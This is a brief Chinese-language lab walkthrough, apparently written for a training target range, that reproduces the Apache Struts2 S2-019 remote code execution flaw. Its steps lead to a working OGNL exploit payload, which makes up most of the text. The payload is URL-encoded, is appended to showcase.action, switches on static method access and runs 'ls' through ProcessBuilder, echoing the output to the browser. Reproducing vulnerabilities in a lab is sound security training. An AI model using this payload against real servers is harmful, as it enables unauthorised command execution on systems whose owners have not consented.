Apache Struts2远程代码执行漏洞(S2-019)复现
难易程度:★★
题目类型:命令执行
使用工具:FireFox浏览器
漏洞原理:默认情况下禁用动态方法调用导致的命令执行。
1.打开靶场,搜索一下S2-019漏洞原理。
2.构造POC,执行命令ls查看文件。
进行url二次编码。
?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B’ls’%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()
访问http://ip/showcase.action+poc